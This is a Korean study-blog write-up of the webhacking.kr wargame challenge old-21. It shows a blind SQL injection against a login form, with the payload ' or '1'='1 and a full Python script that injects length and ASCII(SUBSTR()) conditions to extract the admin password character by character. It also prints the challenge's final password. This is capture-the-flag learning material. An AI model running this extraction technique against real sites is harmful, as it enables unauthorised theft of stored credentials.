yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

challenge (old-21) 본문

wargame 풀이/webhacking.kr

challenge (old-21)

yehey 2021. 2. 7. 16:47

21번 풀이

아...이번 문제는 블라인드 SQL이다...(제일 싫다ㅠ)

 

우선 guest / guest 로 로그인 했을 때는 로그인에 성공했다.

그리고 admin / admin 으로 로그인 했을 때는 비밀번호가 틀렸는지 login fail 이 출력되었다.

 

그리고 이번에는 아이디는 admin, 패스워드에는 ' or '1'='1 을 넣어주었더니 wrong password 라고 출력되었다.

 

여기서 우리는 패스워드를 알아내가는 과정에서 참일 경우 wrong password가 거짓일 경우 login fail이 출력된다는 것을 알 수 있다 

이를 바탕으로 파이썬 코드를 작성해보자

 

import string
import requests
my_cookies=dict(PHPSESSID="katr90f6fb6blaptmr81eomofk") #쿠키 값
idLength=5
url="https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw=' or "
#abc=string.digits + string.ascii_letters
print("Start Blind attack")

while(1):
    idLength +=1
    print("trying",idLength)
    param="length(pw)="+str(idLength)+"%23"
    new_url=url+param
    res=requests.get(new_url,cookies=my_cookies)
    if res.text.find("wrong password") > 0:
        break

print("password length is: "+str(idLength))

abc=string.digits + string.ascii_letters
print("Start Blind attack")
result=""
for i in range(1,idLength+1):
    for a in abc:
        param="ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"%23"
        new_url=url+param
        res=requests.get(new_url,cookies=my_cookies)
        if res.text.find("wrong password") > 0:
            print(str(i)+"번째 char is :" + a)
            result += a
            

print("result:"+result)

 

위처럼 작성한 코드를 실행해보면 다음과 같다.

파이썬 코드 상에서 idLength를 5로 둔 이유는 guest의 패스워드 길이가 5이고 guest이기 때문에 5에서 끊겨서 답이 출력된다.

위와 같은 이유로 패스워드를 구할 때도 break를 걸지 않고 모든 경우의 수를 출력하게 했다.

 

5번째까지는 패스워드가 될 수 있는게 2가지가 출력되었으나 그 이후로는 하나씩만 출력되었다.

5번째 pw 중 guest 에 해당하는 문자들을 빼주자

하지만 또 다른 문제가 있다. 내가 작성한 코드는 특수문자는 포함하지 않았기 때문에 중간중간 해당하는 값이 없어 출력하지 못한 경우가 있다.

그래서 there is no rest for the white angel 단어 사이사이에 특수문자를 넣어서 확인했다.

 

그렇게 얻은 최종적인 패스워드는 다음과 같다

pw = there_is_no_rest_for_the_white_angel

 

 끝!

'wargame 풀이 > webhacking.kr' 카테고리의 다른 글

challenge (old-23)  (0) 2021.02.07
challenge (old-41)  (0) 2021.01.31
challenge (old25)  (0) 2021.01.21
challenge (old-42)  (0) 2021.01.19
challenge (old-6)  (0) 2021.01.19
Comments